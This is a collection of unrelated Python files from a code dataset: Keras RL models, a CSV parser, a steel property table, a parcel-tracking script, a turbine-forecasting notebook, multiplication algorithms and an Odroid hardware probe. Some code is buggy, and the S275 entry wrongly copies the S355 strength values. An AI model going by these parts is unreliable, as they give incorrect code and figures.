import layers as nn\n\n# ================================================================\n# Base class for Q and deep Policy\n# ================================================================\n\nclass BaseDeep(object):\n name = \"Base\"\n def __init__(self,env,model=None):\n \n self.input_dim = env.observation_space.shape\n self.output_n = env.action_space.n\n if model:\n self.net = model\n else:\n self.setup_model() \n self.set_flattener()\n def setup_model(self):\n raise NotImplementedError\n\n def __call__(self,x):\n return self.net(x)\n def fit(self,X,Y,batch_size=50):\n \n print(\"Fitting the NN:\",X.shape, Y.shape)\n self.net.fit(X,Y,batch_size,1)\n\n def train_on_batch(self,X,Y):\n self.net.train_on_batch(X,Y)\n \n def zero_initializer(self):\n for x in self.trainable_variables: \n K.set_value(x, np.zeros(x.shape))\n\n def reduce_weights(self,factor):\n for x in self.trainable_variables: \n K.set_value(x, K.eval(x)/factor)\n \n def predict(self,image):\n \n if image.ndim == len(self.input_dim):\n _image = image.reshape((1,)+image.shape)\n return self.net.predict(_image)[0]\n else:\n return self.net.predict(image)\n\n def save(self,name):\n self.net.save(name+self.name)\n\n def load(self,name):\n self.net = keras.models.load_model(name)\n \n def set_flattener(self):\n \n self.flattener = Flattener(self.trainable_variables)\n \n @property\n def trainable_variables(self):\n return self.net.trainable_weights\n \n @property\n def input(self):\n return self.net.input\n \n @property\n def output(self):\n return self.net.output\n\n\n \n# ================================================================\n# Object class for Q and policy\n# ================================================================\n\n\"\"\"\nclass DeepPolicy(BaseDeep):\n \n def setup_model(self):\n \n assert self.network_type in ['FC','CNN']\n \n if self.network_type =='FC':\n self.net = NeuralNets.Policy_FCNet(self.observation_dim, self.actions_n)\n else:\n self.net = NeuralNets.Policy_CNNet(self.observation_dim, self.actions_n)\n\"\"\" \nclass DeepPolicy(BaseDeep):\n\n def __init__(self,env): \n self.name = \"policy\"\n super(DeepPolicy,self).__init__(env)\n def setup_model(self):\n inputs = layers.Input(shape=self.input_dim)\n scaled = layers.Lambda(lambda x: x/255.0)(inputs)\n block1 = conv_block(scaled)\n x = layers.Flatten()(block1)\n x = layers.Dense(128)(x)\n outputs = layers.Dense(self.output_n,activation='softmax')(x)\n self.net = keras.models.Model(inputs, outputs)\n optim = keras.optimizers.RMSprop(lr=0.00025, rho=0.95, epsilon=0.01)\n self.net.compile(optimizer=optim,loss='mse')\n print(self.net.summary())\n\nclass DeepPolicy2(BaseDeep):\n def __init__(self,env): \n self.name = \"dqn\"\n super(DeepPolicy2,self).__init__(env)\n def setup_model(self):\n \n inputs = layers.Input(shape=self.input_dim)\n block0 = layers.BatchNormalization()(inputs)\n x = layers.Flatten()(block0)\n x = layers.Dense(64,activation=\"relu\")(x)\n x = layers.Dense(64,activation=\"relu\")(x)\n x = layers.Dense(64,activation=\"relu\")(x)\n\n outputs = layers.Dense(self.output_n,activation='softmax')(x)\n self.net = keras.models.Model(inputs, outputs) \n optim = keras.optimizers.RMSprop(lr=0.00025, rho=0.95, epsilon=0.01)\n self.net.compile(optimizer=optim,loss='mse')\n #self.reducer.compile(self.model)\n print(self.net.summary())\n \n \nclass DeepQ(BaseDeep):\n def __init__(self,env): \n self.name = \"dqn\"\n super(DeepQ,self).__init__(env)\n \n def setup_model(self):\n \n inputs = layers.Input(shape=self.input_dim)\n scaled = inputs/255\n block1 = conv_block(block0)\n #self.reducer = reducer.ReductionLayer(6,64,0.0001)\n #block1 = self.reducer(block0)\n #block2 = conv_block(block1)\n x = layers.Flatten()(block1)\n x = layers.Dense(256,activation=\"relu\")(x)\n #x = layers.Dense(25,activation=\"relu\")(x)\n #x = layers.Dense(64,activation=\"relu\")(x)\n #x = layers.Dense(128,activation=\"relu\")(x)\n #x = layers.Dense(256,activation=\"relu\")(x)\n #x = layers.Dense(64,activation=\"relu\")(x)\n #block1 = conv_block(inputs)\n #x = layers.Flatten()(block1)\n #x = layers.Dense(128,activation='softplus')(x)\n #x = layers.Dense(64,activation='relu')(x)\n \n outputs = layers.Dense(self.output_n,activation='linear')(x)\n self.net = keras.models.Model(inputs, outputs) \n optim = keras.optimizers.RMSprop(lr=0.00025, rho=0.95, epsilon=0.01)\n self.net.compile(optimizer=optim,loss='mse')\n #self.reducer.compile(self.model)\n print(self.net.summary())\n\nclass DeepQ2(BaseDeep):\n def __init__(self,env): \n self.name = \"dqn2\"\n super(DeepQ2,self).__init__(env)\n def setup_model(self):\n \n inputs = layers.Input(shape=self.input_dim)\n x = layers.Flatten()(inputs)\n x = layers.Dense(128,activation=\"softplus\")(x)\n x = layers.Dense(128,activation=\"softplus\")(x)\n x = layers.Dense(128,activation=\"softplus\")(x)\n x = layers.Dense(128,activation=\"softplus\")(x)\n x = layers.Dense(64,activation=\"relu\")(x)\n\n outputs = layers.Dense(self.output_n,activation='linear')(x)\n self.net = keras.models.Model(inputs, outputs) \n optim = keras.optimizers.RMSprop(lr=0.00025, rho=0.95, epsilon=0.01)\n self.net.compile(optimizer=optim,loss='mse')\n #self.reducer.compile(self.model)\n print(self.net.summary())\n \n \nclass DeepQ3(BaseDeep):\n def __init__(self,env): \n self.name = \"dqn2\"\n super(DeepQ2,self).__init__(env)\n self.initialized = False\n def setup_model(self):\n inputs = layers.Input(shape=self.input_dim)\n\n y = nn.ReductionLayer(8,64,0.001)(inputs)\n y = layers.Flatten()(y)\n\n self.y = layers.Dense(256,activation=\"tanh\")(y)\n g = K.Function([inputs],[self.y])\n X = g([agent.memory.sample(1000)[\"state\"]])[0]\n\n self.init = nn.InitCentersRandom(X)\n y = nn.RBFLayer(512,initializer=self.init)(self.y)\n x = layers.Dense(128,activation=\"tanh\")(y)\n x = layers.Dense(128,activation=\"tanh\")(x)\n x = layers.Dense(128,activation=\"relu\")(x)\n x = layers.Dense(64,activation=\"relu\")(x)\n\n outputs = layers.Dense(self.output_n,activation='linear')(x)\n self.net = keras.models.Model(inputs, outputs) \n optim = keras.optimizers.RMSprop(lr=0.00025, rho=0.95, epsilon=0.01)\n self.net.compile(optimizer=optim,loss='mse')\n #self.reducer.compile(self.model)\n print(self.net.summary()) \n\n def train_on_batch(self,X,Y):\n if not self.initialized:\n g = K.Function([self.inputs],[self.y])\n Z = g([X])[0]\n self.init.X = Z\n\nclass DeepQ4(BaseDeep):\n def __init__(self,env): \n self.name = \"dqn4\"\n super(DeepQ4,self).__init__(env)\n self.initialized = False\n def setup_model(self):\n inputs = layers.Input(shape=self.input_dim)\n\n y = layers.Conv2D(8,4,strides=2)(inputs)\n y = layers.Conv2D(16,3,strides=2)(y)\n y = layers.Reshape((7*7,-1))(y)\n y = nn.AttentionDecoder(256, 128)(y)\n y = layers.Reshape((7,7,-1))(y)\n y = layers.Conv2D(32,3,strides=2)(y)\n y = layers.MaxPool2D()(y)\n y = layers.Flatten()(y)\n self.y = layers.Dense(256,activation=\"tanh\")(y)\n \n x = layers.Dense(128,activation=\"tanh\")(self.y)\n x = layers.Dense(128,activation=\"relu\")(x)\n x = layers.Dense(64,activation=\"relu\")(x)\n\n outputs = layers.Dense(self.output_n,activation='linear')(x)\n self.net = keras.models.Model(inputs, outputs) \n optim = keras.optimizers.RMSprop(lr=0.00025, rho=0.95, epsilon=0.01)\n self.net.compile(optimizer=optim,loss='mse')\n #self.reducer.compile(self.model)\n print(self.net.summary()) \n\n \n# ================================================================\n# Value Function for baseline\n# ================================================================\nclass BaselineValueFunction(BaseDeep):\n\n def __init__(self,env):\n self.name = \"baseline\"\n self.input_dim = env.observation_space.shape\n self.output_n = 1\n self.net = keras.models.Sequential()\n self.setup_model()\n \n def setup_model(self):\n inputs = layers.Input(shape=self.input_dim)\n scaled = layers.Lambda(lambda x: x/255.0)(inputs)\n block1 = conv_block(scaled)\n x = layers.Flatten()(block1)\n x = layers.Dense(128)(x)\n outputs = layers.Dense(1)(x)\n self.net = keras.models.Model(inputs, outputs)\n optim = keras.optimizers.Adam(lr=3e-4)\n self.net.compile(optimizer=optim,loss='mse')\n print(\"Baseline Value Function\\n\", self.net.summary())\n \n def _features(self, episode):\n states = episode[\"state\"].astype('float32')\n# states = states.reshape(len(states),-1)\n# proba = episode[\"output\"].astype('float32')\n# n = len(episode[\"reward\"])\n# al = episode[\"t\"].reshape(-1,1).astype('float32')/10\n# ret = np.concatenate([states, proba, al, np.ones((n, 1))], axis=1)\n return states #ret\n\n def fit(self, episodes):\n print(\"Updating Advantage \")\n featmat = np.concatenate([self._features(episode) for episode in episodes],axis=0)\n returns = np.concatenate([episode[\"return\"] for episode in episodes])\n self.net.fit(featmat,returns,batch_size=32,epochs=5,verbose=0)\n\n def predict(self, episode):\n return self.net.predict(self._features(episode))\n\n\ndef conv_block(inputs):\n n_filters_1 = 8\n k_size_1 = 8\n stride_1 = 4\n \n n_filters_2 = 16\n k_size_2 = 4\n stride_2 = 2\n \n #a = layers.ZeroPadding2D()(inputs)\n a = layers.Conv2D(n_filters_1, k_size_1, strides=stride_1,\n activation='relu',kernel_regularizer='l1')(inputs)\n a = layers.Conv2D(n_filters_2, k_size_2, strides=stride_2, \n activation='relu',kernel_regularizer='l2')(a)\n\n return a\n","repo_name":"aghriss/DeepRL","sub_path":"nn/deepfunctions.py","file_name":"deepfunctions.py","file_ext":"py","file_size_in_byte":10993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27382877759","text":"import csv\nimport glob\nimport os\nimport re\n\nfor filename in glob.glob('./opencl_summary_degree_*.csv'):\n with open(os.path.join(os.getcwd(), filename), 'r') as csvfile:\n #print(filename)\n l = re.findall(r'\\d+', filename)\n print(l)\n\n reader = csv.DictReader(csvfile)\n for row in reader:\n if 'GIN_compute_one_graph' in row['Profile Summary']:\n #print(row)\n for ele in row:\n if isinstance(ele, str):\n continue\n time_trace = row[ele]\n #print(time_trace)\n\n total_g = time_trace[0]\n min_time = time_trace[2]\n ave_time = time_trace[3]\n max_time = time_trace[4]\n\n print(total_g, min_time, ave_time, max_time)","repo_name":"sharc-lab/GenGNN","sub_path":"GIN-virtual/U50/streaming-pipeline/process_csv.py","file_name":"process_csv.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"47"} +{"seq_id":"24927717359","text":"def material_types(material):\r\n \"\"\"Libary of different materials. Currently, only common steel types are supported.\r\n\r\n Usage example: material_types('355') returns material properties corresponding to S355 steel in a dictionary.\r\n \"\"\"\r\n\r\n mat = {}\r\n mat['mass_density'] = 7850 # kg / m3\r\n mat['modulus_of_elasticity'] = 2.05 * 10**11 # Pa\r\n mat['possions_ratio'] = 0.3 # No unit\r\n mat['shear_modulus'] = 2.05 * 10**11 / (2 * (1 + 0.3)) # Pa\r\n mat['bulk_modulus'] = 2.05 * 10**11 / (3 * (1 - 2 * 0.3)) # Pa\r\n if material == 'S235':\r\n mat['yield_strength'] = 225 # MPa (assuming 16 mm < t <= 40 mm)\r\n mat['ultimate_strength'] = 340 # MPa\r\n elif material == 'S275':\r\n mat['yield_strength'] = 345 # MPa (assuming 16 mm < t <= 40 mm)\r\n mat['ultimate_strength'] = 470 # MPa\r\n elif material == 'S355':\r\n mat['yield_strength'] = 345 # MPa (assuming 16 mm < t <= 40 mm)\r\n mat['ultimate_strength'] = 470 # MPa\r\n elif material == 'S450':\r\n mat['yield_strength'] = 430 # MPa (assuming 16 mm < t <= 40 mm)\r\n mat['ultimate_strength'] = 550 # MPa\r\n else:\r\n raise NameError('This material is not yet implemented. Please pick something else.')\r\n return mat\r\n","repo_name":"ekronborg/pyfem","sub_path":"libary/material_types.py","file_name":"material_types.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37875685357","text":"import json,requests\ndef searchPackage():\n #输入运单号码，注意，只有正在途中的快递才可以查到！\n packageNum = input('请输入运单号码：')\n url1 = 'http://www.kuaidi100.com/autonumber/autoComNum?resultv2=1&text=' + packageNum\n #用url1查询运单号对应的快递公司，如中通，返回：zhongtong。\n\n company=json.loads(requests.get(url1).text)['auto'][0]['comCode']\n\n url2 = 'http://www.kuaidi100.com/query?type=' + company + '&postid=' + packageNum\n mess=requests.get(url2).text\n dateAndLocation=json.loads(mess)\n if dateAndLocation['message']=='ok':\n for item in dateAndLocation['data']:\n print(item['time'],item['context'])\n else:\n print(\"出错啦\")\n\nif __name__ =='__main__':\n searchPackage()","repo_name":"ForeverFancy/SearchPackages","sub_path":"htm5.py","file_name":"htm5.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10496023321","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # ARIMA & Pytorch Modeling\n\n# In[2]:\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom pandas.plotting import register_matplotlib_converters\n# plt.style.use(['science','no-latex'])\n# plt.rcParams[\"font.family\"] = \"Times New Roman\"\nget_ipython().run_line_magic('load_ext', 'autoreload')\nget_ipython().run_line_magic('autoreload', '2')\n\nimport tensorflow as tf\n\n\n# ## 1, Load the data\n\n# In[108]:\n\n\n#from tensorflow import keras\n#from google.colab import drive\n#drive.mount('/content/drive')\n#df = pd.read_csv('/content/drive/MyDrive/Data/vattenfall_turbine.csv')\n#drive.flush_and_unmount()\n#print('NB: Unmount the google cloud driver')\n\ndf = pd.read_csv('vattenfall_turbine.csv')\nkeys = df.keys().values\nfeature_keys = keys[np.arange(1,5).tolist() + np.arange(7,10).tolist()]\ntime_key = keys[1]\n\n\n# In[151]:\n\n\ndf[['time', 'guide_open']][0:10:2]\n\n\n# In[ ]:\n\n\n\n\n\n# In[153]:\n\n\nplot_cols = feature_keys[0:len(feature_keys):2]\nplot_features = df[plot_cols]\n#plot_features.index = df[time_key]\nfig1 = plot_features.plot(subplots=True)\n\nplot_features = df[plot_cols][int(len(df)/5):int(len(df)/3):1000]\n#plot_features.index = df[time_key][:480]\nfig2 = plot_features.plot(subplots=True)\n\n\n# In[159]:\n\n\nplt.hist2d(df['guide_open'], df['pump101_speed'], bins=(50, 50), vmax=400)\nplt.colorbar()\nplt.xlabel('Guide open [degree')\nplt.ylabel('Pump101 speed [rpm]')\nax = plt.gca()\nax.axis('tight')\nplt.show()\n\nplt.hist2d(df['pump101_speed'], df['pump102_speed'], bins=(50, 50), vmax=400)\nplt.colorbar()\nplt.xlabel('Pump101 speed [rpm]')\nplt.ylabel('Pump102 speed [rpm]')\nax = plt.gca()\nax.axis('tight')\n\n\n# In[6]:\n\n\nshow_raw_visualization(df, df_data)\n\n\n# In[7]:\n\n\nimport seaborn as sns\nsns.heatmap(df_data.corr(), annot=True, fmt=\".2f\")\nplt.show()\n\n\n# ## 2, Preprocess the data (clean and split the data) for training and validation\n# \n# ### 2.1, be careful to select parameters in this procedure\n\n# In[216]:\n\n\nfeature_keys\ninput_keys = feature_keys[[0, 1, 2, 4, 6]]\noutput_key = feature_keys[0]\nprint(input_keys, output_key)\ninput_df = df[input_keys][0:len(df):100]\noutput_df = df[output_key][0:len(df):100]\n\n# split the data into 70% for training, 20% for validation, and 10% for testing\nn = len(df)\ntrain_df = input_df[0:int(n*0.7)]\nval_df = input_df[int(n*0.7):int(n*0.9)]\ntest_df = input_df[int(n*0.9):]\n\nnum_features = df.shape[1]\n\n\n# In[3]:\n\n\nfrom IPython.display import Markdown\n\ndisplay(Markdown('**Lets take a close look at the time series.**'))\n\n\n# ### 2.2, normalize the data\n\n# In[217]:\n\n\ntrain_mean = train_df.mean()\ntrain_std = train_df.std()\n\ntrain_df = (train_df - train_mean) / train_std\nval_df = (val_df - train_mean) / train_std\ntest_df = (test_df - train_mean) / train_std\n\n\n# In[222]:\n\n\ntrain_mean = train_df.mean()\ntrain_std = train_df.std()\n\ndf_std = (train_df - train_mean) / train_std\ndf_std = df_std.melt(var_name='Column', value_name='Normalized')\nplt.figure(figsize=(12, 6))\nax = sns.violinplot(x='Column', y='Normalized', data=df_std)\nfig3 = ax.set_xticklabels(input_df.keys(), rotation=90)\n\n\n# In[221]:\n\n\ntrain_mean\n\n\n# ### **2.3, index and offset for the model fitting (NB: important to adjust)** \n\n# In[223]:\n\n\nclass WindowGenerator():\n def __init__(self, input_width, label_width, shift,\n train_df=train_df, val_df=val_df, test_df=test_df,\n label_columns=None):\n # Store the raw data.\n self.train_df = train_df\n self.val_df = val_df\n self.test_df = test_df\n\n # Work out the label column indices.\n self.label_columns = label_columns\n if label_columns is not None:\n self.label_columns_indices = {name: i for i, name in\n enumerate(label_columns)}\n self.column_indices = {name: i for i, name in\n enumerate(train_df.columns)}\n\n # Work out the window parameters.\n self.input_width = input_width\n self.label_width = label_width\n self.shift = shift\n\n self.total_window_size = input_width + shift\n\n self.input_slice = slice(0, input_width)\n self.input_indices = np.arange(self.total_window_size)[self.input_slice]\n\n self.label_start = self.total_window_size - self.label_width\n self.labels_slice = slice(self.label_start, None)\n self.label_indices = np.arange(self.total_window_size)[self.labels_slice]\n\n def __repr__(self):\n return '\\n'.join([\n f'Total window size: {self.total_window_size}',\n f'Input indices: {self.input_indices}',\n f'Label indices: {self.label_indices}',\n f'Label column name(s): {self.label_columns}'])\n\n\n# In[243]:\n\n\nw1 = WindowGenerator(input_width=24, label_width=1, shift=24,\n label_columns=['guide_open'])\nw1\n\nw2 = WindowGenerator(input_width=200, label_width=1, shift=1,\n label_columns=['guide_open'])\nw2\n\n\n# In[239]:\n\n\ndef split_window(self, features):\n inputs = features[:, self.input_slice, :]\n labels = features[:, self.labels_slice, :]\n if self.label_columns is not None:\n labels = tf.stack(\n [labels[:, :, self.column_indices[name]] for name in self.label_columns],\n axis=-1)\n\n # Slicing doesn't preserve static shape information, so set the shapes\n # manually. This way the `tf.data.Datasets` are easier to inspect.\n inputs.set_shape([None, self.input_width, None])\n labels.set_shape([None, self.label_width, None])\n\n return inputs, labels\n\nWindowGenerator.split_window = split_window\n\n\n# In[244]:\n\n\n# Stack three slices, the length of the total window.\nexample_window = tf.stack([np.array(train_df[:w2.total_window_size]),\n np.array(train_df[100:100+w2.total_window_size]),\n np.array(train_df[200:200+w2.total_window_size])])\n\nexample_inputs, example_labels = w2.split_window(example_window)\n\nprint('All shapes are: (batch, time, features)')\nprint(f'Window shape: {example_window.shape}')\nprint(f'Inputs shape: {example_inputs.shape}')\nprint(f'Labels shape: {example_labels.shape}')\n\n\n# In[245]:\n\n\nw2.example = example_inputs, example_labels\n\ndef plot(self, model=None, plot_col='guide_open', max_subplots=3):\n inputs, labels = self.example\n plt.figure(figsize=(12, 8))\n plot_col_index = self.column_indices[plot_col]\n max_n = min(max_subplots, len(inputs))\n for n in range(max_n):\n plt.subplot(max_n, 1, n+1)\n plt.ylabel(f'{plot_col} [normed]')\n plt.plot(self.input_indices, inputs[n, :, plot_col_index],\n label='Inputs', marker='.', zorder=-10)\n\n if self.label_columns:\n label_col_index = self.label_columns_indices.get(plot_col, None)\n else:\n label_col_index = plot_col_index\n\n if label_col_index is None:\n continue\n\n plt.scatter(self.label_indices, labels[n, :, label_col_index],\n edgecolors='k', label='Labels', c='#2ca02c', s=64)\n if model is not None:\n predictions = model(inputs)\n plt.scatter(self.label_indices, predictions[n, :, label_col_index],\n marker='X', edgecolors='k', label='Predictions',\n c='#ff7f0e', s=64)\n\n if n == 0:\n plt.legend()\n\n plt.xlabel('Time [h]')\n\nWindowGenerator.plot = plot\n\n\n# In[246]:\n\n\nw2.plot()\nw2.plot(plot_col='running_speed')\n\n\n# ## 2.4, Create tf.data.Datasets\n\n# In[259]:\n\n\ndef make_dataset(self, data):\n data = np.array(data, dtype=np.float32)\n ds = tf.keras.preprocessing.timeseries_dataset_from_array(\n data=data,\n targets=None,\n sequence_length=self.total_window_size,\n sequence_stride=1,\n shuffle=True,\n batch_size=32,)\n\n ds = ds.map(self.split_window)\n\n return ds\n\nWindowGenerator.make_dataset = make_dataset\n\n\n# In[260]:\n\n\n@property\ndef train(self):\n return self.make_dataset(self.train_df)\n\n@property\ndef val(self):\n return self.make_dataset(self.val_df)\n\n@property\ndef test(self):\n return self.make_dataset(self.test_df)\n\n@property\ndef example(self):\n \"\"\"Get and cache an example batch of `inputs, labels` for plotting.\"\"\"\n result = getattr(self, '_example', None)\n if result is None:\n # No example batch was found, so get one from the `.train` dataset\n result = next(iter(self.train))\n # And cache it for next time\n self._example = result\n return result\n\nWindowGenerator.train = train\nWindowGenerator.val = val\nWindowGenerator.test = test\nWindowGenerator.example = example\n\n\n# In[277]:\n\n\nw2\n\n\n# In[276]:\n\n\n# Each element is an (inputs, label) pair.\nw2.train.element_spec\n\n\n# In[262]:\n\n\nfor example_inputs, example_labels in w2.train.take(1):\n print(f'Inputs shape (batch, time, features): {example_inputs.shape}')\n print(f'Labels shape (batch, time, features): {example_labels.shape}')\n\n\n# In[272]:\n\n\nsingle_step_window = WindowGenerator(\n input_width=10, label_width=1, shift=1,\n label_columns=['guide_open'])\nsingle_step_window\n\n\n# In[264]:\n\n\nfor example_inputs, example_labels in single_step_window.train.take(1):\n print(f'Inputs shape (batch, time, features): {example_inputs.shape}')\n print(f'Labels shape (batch, time, features): {example_labels.shape}')\n\n\n# ## 3, Baseline model\n\n# In[265]:\n\n\nclass Baseline(tf.keras.Model):\n def __init__(self, label_index=None):\n super().__init__()\n self.label_index = label_index\n\n def call(self, inputs):\n if self.label_index is None:\n return inputs\n result = inputs[:, :, self.label_index]\n return result[:, :, tf.newaxis]\n\n\n# In[269]:\n\n\ncolumn_indices['guide_open']\n\n\n# In[273]:\n\n\ncolumn_indices = {name: i for i, name in enumerate(input_df.columns)}\n\nbaseline = Baseline(label_index=column_indices['guide_open'])\n\nbaseline.compile(loss=tf.losses.MeanSquaredError(),\n metrics=[tf.metrics.MeanAbsoluteError()])\n\nval_performance = {}\nperformance = {}\nval_performance['Baseline'] = baseline.evaluate(single_step_window.val)\nperformance['Baseline'] = baseline.evaluate(single_step_window.test, verbose=0)\n\n\n# # NB: Following codes are using Keras tutorials not work for this case\n\n# In[32]:\n\n\nsplit_fraction = 0.8\ntrain_split = int(split_fraction * int(df_data.shape[0]))\nstep = 1000\n\npast = 72000\nfuture = 720\nlearning_rate = 0.001\nbatch_size = 256\nepochs = 10\n\n\ndef normalize(data, train_split):\n data_mean = data[:train_split].mean(axis=0)\n data_std = data[:train_split].std(axis=0)\n return (data - data_mean) / data_std\n\nprint(\n \"The selected parameters are:\",\n \", \".join([titles[i] for i in range(7)]),\n)\nselected_features = [feature_keys[i] for i in range(7)]\nfeatures = df[selected_features]\nfeatures.index = df[date_time_key]\nfeatures.head()\n\nfeatures = normalize(features.values, train_split)\nfeatures = pd.DataFrame(features)\nfeatures.head()\n\ntrain_data = features.loc[0 : train_split - 1]\nval_data = features.loc[train_split:]\n\n\n# In[35]:\n\n\nprint(\"Num GPUs Available: \", len(tf.config.list_physical_devices('CPU')))\n\n\n# ### 2.2, Processing datasets for training and validation\n\n# In[36]:\n\n\n# Training dataset\nstart = past + future\nend = start + train_split\n\nx_train = train_data[[i for i in range(7)]].values\ny_train = features.iloc[start:end][[1]]\n\nsequence_length = int(past / step)\n\n\n# In[50]:\n\n\nx_train.shape, y_train.shape\n\n\n# In[52]:\n\n\nfrom tensorflow import keras\ndataset_train = keras.preprocessing.timeseries_dataset_from_array(\n x_train,\n y_train,\n sequence_length=sequence_length,\n sampling_rate=step,\n batch_size=batch_size,\n)\n\n# Validation dataset\nx_end = len(val_data) - past - future\n\nlabel_start = train_split + past + future\n\nx_val = val_data.iloc[:x_end][[i for i in range(7)]].values\ny_val = features.iloc[label_start:][[1]]\n\ndataset_val = keras.preprocessing.timeseries_dataset_from_array(\n x_val,\n y_val,\n sequence_length=sequence_length,\n sampling_rate=step,\n batch_size=batch_size,\n)\n\n\nfor batch in dataset_train.take(1):\n inputs, targets = batch\n\nprint(\"Input shape:\", inputs.numpy().shape)\nprint(\"Target shape:\", targets.numpy().shape)\n\n\n# ## 3, Training start.....\n\n# In[53]:\n\n\ninputs = keras.layers.Input(shape=(inputs.shape[1], inputs.shape[2]))\nlstm_out = keras.layers.LSTM(32)(inputs)\noutputs = keras.layers.Dense(1)(lstm_out)\n\nmodel = keras.Model(inputs=inputs, outputs=outputs)\nmodel.compile(optimizer=keras.optimizers.Adam(learning_rate=learning_rate), loss=\"mse\")\nmodel.summary()\n\n\n# In[54]:\n\n\n\nepochs = 2\n\npath_checkpoint = \"model_checkpoint.h5\"\nes_callback = keras.callbacks.EarlyStopping(monitor=\"val_loss\", min_delta=0, patience=5)\n\nmodelckpt_callback = keras.callbacks.ModelCheckpoint(\n monitor=\"val_loss\",\n filepath=path_checkpoint,\n verbose=1,\n save_weights_only=True,\n save_best_only=True,\n)\n\nhistory = model.fit(\n dataset_train,\n epochs=epochs,\n validation_data=dataset_val,\n callbacks=[es_callback, modelckpt_callback],\n)\n\n\n# Visualize the loss function from the learning\n\n# In[55]:\n\n\ndef visualize_loss(history, title):\n loss = history.history[\"loss\"]\n val_loss = history.history[\"val_loss\"]\n epochs = range(len(loss))\n plt.figure()\n plt.plot(epochs, loss, \"b\", label=\"Training loss\")\n plt.plot(epochs, val_loss, \"r\", label=\"Validation loss\")\n plt.title(title)\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n plt.legend()\n plt.show()\n\n\nvisualize_loss(history, \"Training and Validation Loss\")\n\n\n# Prediction using the trained model\n\n# In[60]:\n\n\ndef show_plot(plot_data, delta, title):\n labels = [\"History\", \"True Future\", \"Model Prediction\"]\n marker = [\".-\", \"rx\", \"go\"]\n time_steps = list(range(-(plot_data[0].shape[0]), 0))\n if delta:\n future = delta\n else:\n future = 0\n\n plt.title(title)\n for i, val in enumerate(plot_data):\n if i:\n plt.plot(future, plot_data[i], marker[i], markersize=10, label=labels[i])\n else:\n plt.plot(time_steps, plot_data[i].flatten(), marker[i], label=labels[i])\n plt.legend()\n plt.xlim([time_steps[0], (future + 5) * 2])\n plt.xlabel(\"Time-Step\")\n plt.show()\n return\n\n\nfor x, y in dataset_val.take(5):\n show_plot(\n [x[1][:, 1].numpy(), y[1].numpy(), model.predict(x)[1]],\n 12,\n \"Single Step Prediction\",\n )\n\n","repo_name":"wengangmao/vattenfall","sub_path":"_build/jupyter_execute/contents/codes/arima_pytorch.py","file_name":"arima_pytorch.py","file_ext":"py","file_size_in_byte":14117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"70134019982","text":"import random\nimport math\nimport timeit\n\ndef method1(x,y):\n answer = 0\n ## for each bit in y (reversed)\n ## check if the y bit is on (1), if so add x to the final result\n while (y != 0):\n if y & 1:\n answer += x\n ##left shift (multiple x * 2^1)\n x<<=1\n ##left shift\n y>>=1\n return answer\n\ndef method2(x,y):\n\tif y == 0: \n\t\treturn 0 \n\tz = method2(x, math.floor(y/2)) \n\tif (y%2) == 0:\n\t\treturn 2*z\n\telse:\n\t\treturn x + 2*z\n\t \ndef method3(x,y):\n ## n is the max number of bits in the number\n n = max(x.bit_length(),y.bit_length())\n if (n == 1): \n\t return x*y\n if x ==0 or y == 0:\n\t return 0 \n ## number of bits you're shifting left by\n nR = math.floor(n/2) \n ## split each number into left and right bits \n ## leftmost (ceiling of n/2) and righmost (floor of n/2) \n ## shift right by the floor to get the right half\n ## create a mask by shifting left on 1 by floor(n/2), then subtract 1\n ## & the original number and the mask to get the left side\n \n xL = x >> nR\n m = xL << nR\n xR = x - m\n \n yL = y >> nR\n m = yL << nR\n yR = y - m \n \n \n P1 = method3(xL, yL)\n P2 = method3(xR, yR)\n P3 = method3(xL + xR, yL + yR)\n return P1 * (2**(2*nR)) + (P3 - P1 - P2) * 2**(nR) + P2\n\nif __name__ == \"__main__\":\n d = int(input('Number of digits: '))\n m1_times = []\n m2_times = [] \n m3_times = []\n print(method1(10,8))\n print(method2(10,8))\n print(method3(10,8))\n for i in range(10):\n\t a = b = ''\n\t for j in range(d):\n\t\t a += str(random.randint(1,9))\n\t\t b += str(random.randint(1,9))\n\t print(\"Trial\",i+1,\":\",\"a =\",a,\"b =\",b)\n\t m1_times.append(timeit.timeit('method1(' + a +',' + b + ')', 'from __main__ import method1', number=1))\n\t m2_times.append(timeit.timeit('method2(' + a +',' + b + ')', 'from __main__ import method2', number=1))\n\t m3_times.append(timeit.timeit('method3(' + a +',' + b + ')', 'from __main__ import method3', number=1))\n average_m1 = float(sum(m1_times))/10\n average_m2 = float(sum(m2_times))/10\n average_m3 = float(sum(m3_times))/10\n print(\"Average Times:\",\"\\n\\tMethod 1:\",average_m1,\"\\n\\tMethod 2:\",average_m2,\"\\n\\tMethod 3:\",average_m3)\n \n # starts failing at 200 digits\n \n ","repo_name":"tayloa/CSCI2300_Spring2017","sub_path":"Labs/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28280076060","text":"#!/usr/bin/env python3\n# This fact extracts as much hardware information out of an odroid as possible\n\nimport os, re, sys, subprocess\n\nclass Odroid(object):\n def __init__(self):\n self.data = {'present': 'no'}\n \n def cpudata(self):\n count = 0\n # Define main data container\n f = open('/proc/cpuinfo', 'r')\n for line in f:\n r = re.search('^(.*)\\s+:\\s+(.*)', line)\n if not r or not r.groups(0) or not r.groups(0)[0] or not r.groups(0)[1]: continue\n (key,val) = r.groups(0)[0],r.groups(0)[1]\n if key == \"Hardware\": \n self.data['model'] = val\n if re.search('ODROID', val) or re.search('EXYNOS', val):\n self.data['present'] = 'yes'\n if re.search('SAMSUNG EXYNOS', val):\n self.data['model'] = \"Odroid XU4\"\n elif key == \"Revision\": \n self.data['revision'] = val\n elif key == \"Serial\": \n self.data['serial'] = val\n elif key == \"processor\":\n count += 1\n 